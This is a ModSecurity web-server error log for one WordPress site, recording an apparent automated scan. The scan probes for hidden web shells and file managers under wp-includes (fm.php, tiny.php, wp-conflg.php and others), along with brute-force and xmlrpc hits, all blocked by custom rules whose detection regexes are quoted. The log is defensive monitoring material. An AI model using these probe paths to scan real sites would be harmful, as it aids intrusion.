[Wed Apr 15 06:07:08.354106 2026] [:error] [pid 45504:tid 45515] [client 45.131.195.146:56167] [client 45.131.195.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "ad66jK3iO9_fE_IQEMk-YQAAAQk"]
[Wed Apr 15 06:07:09.752518 2026] [:error] [pid 4067:tid 4148] [client 45.131.195.134:35827] [client 45.131.195.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "ad66je5XHBJU8ZrRxZ0-NAAAAJE"]
[Wed Apr 15 06:07:12.567616 2026] [:error] [pid 4065:tid 4081] [client 45.131.195.115:21743] [client 45.131.195.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "ad66kAWArgJTHu2_6OzJtwAAAAU"]
[Wed Apr 15 06:07:17.217891 2026] [:error] [pid 4066:tid 4127] [client 45.131.195.134:42239] [client 45.131.195.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "ad66lYC2YXfSPsC9O_BtPAAAAFc"]
[Wed Apr 15 06:07:18.002359 2026] [:error] [pid 4169:tid 4180] [client 45.131.195.126:45615] [client 45.131.195.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine/index.php"] [unique_id "ad66lh15U5D-N99n_jKGBgAAAMg"]
[Wed Apr 15 06:07:24.665201 2026] [:error] [pid 4066:tid 4105] [client 45.131.195.179:60065] [client 45.131.195.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "ad66nIC2YXfSPsC9O_BtSwAAAEE"]
[Wed Apr 15 06:07:25.824601 2026] [:error] [pid 4066:tid 4115] [client 45.131.195.204:39055] [client 45.131.195.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.rcacivilgroup.com"] [uri "/fm.php"] [unique_id "ad66nYC2YXfSPsC9O_BtTgAAAEs"]
[Wed Apr 15 06:07:34.221388 2026] [:error] [pid 4066:tid 4104] [client 45.131.195.250:60275] [client 45.131.195.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "ad66poC2YXfSPsC9O_BtXgAAAEA"]
[Wed Apr 15 06:07:37.048702 2026] [proxy_fcgi:error] [pid 45504:tid 45523] [client 45.131.195.155:43213] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 06:07:38.687515 2026] [:error] [pid 45504:tid 45512] [client 45.131.195.155:43213] [client 45.131.195.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/function.php"] [unique_id "ad66qq3iO9_fE_IQEMk-uQAAAQY"]
[Wed Apr 15 06:07:39.727804 2026] [:error] [pid 4065:tid 4076] [client 45.131.195.125:26575] [client 45.131.195.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/plugins.php"] [unique_id "ad66qwWArgJTHu2_6OzJxwAAAAA"]
[Wed Apr 15 06:07:43.844621 2026] [:error] [pid 4067:tid 4143] [client 45.131.195.161:50031] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/chosen.php"] [unique_id "ad66r-5XHBJU8ZrRxZ0-VwAAAIw"]
[Wed Apr 15 06:07:44.957160 2026] [:error] [pid 4066:tid 4109] [client 45.131.195.131:51651] [client 45.131.195.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "ad66sIC2YXfSPsC9O_BteAAAAEU"]
[Wed Apr 15 06:07:55.495447 2026] [:error] [pid 45504:tid 45517] [client 45.131.195.139:63443] [client 45.131.195.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/atomlib.php"] [unique_id "ad66u63iO9_fE_IQEMk-8AAAAQs"]
[Wed Apr 15 06:07:56.569334 2026] [:error] [pid 45504:tid 45529] [client 45.131.195.129:49461] [client 45.131.195.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/rest-api/index.php"] [unique_id "ad66vK3iO9_fE_IQEMk-9AAAARc"]
[Wed Apr 15 06:08:03.501725 2026] [:error] [pid 4065:tid 4080] [client 45.131.195.191:63617] [client 45.131.195.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/index.php"] [unique_id "ad66wwWArgJTHu2_6OzJ1AAAAAQ"]
[Wed Apr 15 06:08:04.775611 2026] [:error] [pid 4169:tid 4176] [client 45.131.195.171:36833] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "ad66xB15U5D-N99n_jKGTAAAAMQ"]
[Wed Apr 15 06:08:06.160063 2026] [:error] [pid 4066:tid 4110] [client 45.131.195.150:61301] [client 45.131.195.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "ad66xoC2YXfSPsC9O_BtjAAAAEY"]
[Wed Apr 15 06:08:14.582737 2026] [:error] [pid 4067:tid 4140] [client 45.131.195.139:44617] [client 45.131.195.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "ad66zu5XHBJU8ZrRxZ0-sAAAAIk"]
[Wed Apr 15 06:08:18.895530 2026] [:error] [pid 45504:tid 45508] [client 45.131.195.135:50331] [client 45.131.195.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "ad660q3iO9_fE_IQEMk_GQAAAQI"]
[Wed Apr 15 06:08:29.072774 2026] [:error] [pid 4169:tid 4181] [client 45.131.195.169:29851] [client 45.131.195.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.169, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/js/wp-login.php"] [unique_id "ad663R15U5D-N99n_jKGhAAAAMk"]
[Wed Apr 15 06:08:37.098114 2026] [:error] [pid 4169:tid 4182] [client 45.131.195.169:29851] [client 45.131.195.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.169, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "ad665R15U5D-N99n_jKGmgAAAMo"]
[Wed Apr 15 06:08:50.148502 2026] [proxy_fcgi:error] [pid 4169:tid 4198] [client 45.131.195.169:29851] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 06:08:55.734439 2026] [:error] [pid 45504:tid 45512] [client 146.59.232.195:58188] [client 146.59.232.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.232.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad66963iO9_fE_IQEMk_aAAAAQY"]
[Wed Apr 15 06:09:06.878160 2026] [:error] [pid 4169:tid 4186] [client 45.131.195.169:29851] [client 45.131.195.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/about.php"] [unique_id "ad67Ah15U5D-N99n_jKG7gAAAM0"]
[Wed Apr 15 06:09:08.230047 2026] [:error] [pid 4066:tid 4108] [client 23.98.148.92:56452] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad67BIC2YXfSPsC9O_Bt-QAAAEQ"]
[Wed Apr 15 06:09:12.997032 2026] [:error] [pid 4065:tid 4082] [client 45.131.195.191:57365] [client 45.131.195.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "ad67CAWArgJTHu2_6OzKLwAAAAY"]
[Wed Apr 15 06:09:17.233803 2026] [:error] [pid 4067:tid 4140] [client 45.131.195.175:54549] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/atomlib.php"] [unique_id "ad67De5XHBJU8ZrRxZ0_BgAAAIk"]
[Wed Apr 15 06:09:29.875683 2026] [:error] [pid 4065:tid 4077] [client 45.131.195.176:32061] [client 45.131.195.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "ad67GQWArgJTHu2_6OzKQgAAAAE"]
[Wed Apr 15 06:09:34.045509 2026] [:error] [pid 4169:tid 4179] [client 45.131.195.155:41063] [client 45.131.195.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "ad67Hh15U5D-N99n_jKHUAAAAMc"]
[Wed Apr 15 06:09:36.818467 2026] [:error] [pid 4169:tid 4195] [client 45.131.195.164:51977] [client 45.131.195.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "ad67IB15U5D-N99n_jKHWgAAANQ"]
[Wed Apr 15 06:09:43.545526 2026] [proxy_fcgi:error] [pid 4065:tid 4081] [client 45.131.195.126:29745] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 06:09:43.803742 2026] [proxy_fcgi:error] [pid 4065:tid 4088] [client 45.131.195.126:29745] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 06:09:44.042216 2026] [:error] [pid 4065:tid 4090] [client 45.131.195.126:29745] [client 45.131.195.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "ad67KAWArgJTHu2_6OzKXQAAAA4"]
[Wed Apr 15 06:09:45.566159 2026] [:error] [pid 4067:tid 4142] [client 45.131.195.197:58999] [client 45.131.195.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "ad67Ke5XHBJU8ZrRxZ0_MwAAAIs"]
[Wed Apr 15 06:09:55.869723 2026] [:error] [pid 4067:tid 4142] [client 45.131.195.175:37481] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/dist/default.php"] [unique_id "ad67M-5XHBJU8ZrRxZ0_SQAAAIs"]
[Wed Apr 15 06:09:58.686288 2026] [:error] [pid 4169:tid 4172] [client 45.131.195.160:32445] [client 45.131.195.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.rcacivilgroup.com"] [uri "/tiny.php"] [unique_id "ad67Nh15U5D-N99n_jKHawAAAMA"]
[Wed Apr 15 06:10:04.506801 2026] [:error] [pid 45504:tid 45525] [client 45.131.195.155:62405] [client 45.131.195.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "ad67PK3iO9_fE_IQEMk_7wAAARM"]
[Wed Apr 15 06:10:15.549877 2026] [:error] [pid 4169:tid 4186] [client 45.131.195.136:55647] [client 45.131.195.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "ad67Rx15U5D-N99n_jKHrgAAAM0"]
[Wed Apr 15 06:10:16.848043 2026] [proxy_fcgi:error] [pid 4169:tid 4200] [client 45.131.195.180:36617] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 06:10:20.494795 2026] [:error] [pid 4169:tid 4184] [client 45.131.195.180:36617] [client 45.131.195.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "ad67TB15U5D-N99n_jKH1wAAAMw"]
[Wed Apr 15 06:10:28.337311 2026] [proxy_fcgi:error] [pid 4065:tid 4093] [client 45.131.195.151:57343] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 06:10:30.311047 2026] [:error] [pid 4065:tid 4084] [client 45.131.195.151:57343] [client 45.131.195.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.151, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "ad67VgWArgJTHu2_6OzKqAAAAAg"]
[Wed Apr 15 06:10:36.674084 2026] [:error] [pid 4065:tid 4097] [client 45.131.195.151:57343] [client 45.131.195.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "ad67XAWArgJTHu2_6OzKtQAAABU"]
[Wed Apr 15 06:10:39.814848 2026] [:error] [pid 4067:tid 4148] [client 45.131.195.164:63299] [client 45.131.195.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "ad67X-5XHBJU8ZrRxZ0_owAAAJE"]
[Wed Apr 15 06:10:45.987116 2026] [:error] [pid 4065:tid 4076] [client 45.131.195.155:64561] [client 45.131.195.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "ad67ZQWArgJTHu2_6OzKygAAAAA"]
[Wed Apr 15 06:10:52.242067 2026] [:error] [pid 4169:tid 4196] [client 45.131.195.154:51271] [client 45.131.195.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "ad67bB15U5D-N99n_jKIBQAAANU"]
[Wed Apr 15 06:10:53.380597 2026] [:error] [pid 4169:tid 4192] [client 45.131.195.179:21061] [client 45.131.195.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "ad67bR15U5D-N99n_jKICgAAANI"]
[Wed Apr 15 06:10:59.871394 2026] [:error] [pid 4067:tid 4139] [client 45.131.195.189:36831] [client 45.131.195.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-feed-index.php"] [unique_id "ad67c-5XHBJU8ZrRxZ0_tgAAAIg"]
[Wed Apr 15 06:11:04.439480 2026] [proxy_fcgi:error] [pid 45504:tid 45514] [client 45.131.195.129:63427] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 06:11:04.688013 2026] [:error] [pid 45504:tid 45521] [client 45.131.195.129:63427] [client 45.131.195.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "ad67eK3iO9_fE_IQEMlA4QAAAQ8"]
[Wed Apr 15 06:11:07.708862 2026] [:error] [pid 4066:tid 4124] [client 45.131.195.125:40245] [client 45.131.195.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/db.php"] [unique_id "ad67e4C2YXfSPsC9O_BukAAAAFQ"]
[Wed Apr 15 06:11:08.706388 2026] [:error] [pid 4169:tid 4200] [client 45.131.195.195:38971] [client 45.131.195.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "ad67fB15U5D-N99n_jKILQAAANg"]
[Wed Apr 15 06:11:12.692844 2026] [:error] [pid 4066:tid 4110] [client 45.131.195.171:22903] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "ad67gIC2YXfSPsC9O_BulAAAAEY"]
[Wed Apr 15 06:11:14.824693 2026] [:error] [pid 45504:tid 45517] [client 45.131.195.130:51341] [client 45.131.195.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "ad67gq3iO9_fE_IQEMlBAAAAAQs"]
[Wed Apr 15 06:11:16.058499 2026] [:error] [pid 45504:tid 45522] [client 45.131.195.155:38285] [client 45.131.195.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "ad67hK3iO9_fE_IQEMlBBgAAARA"]
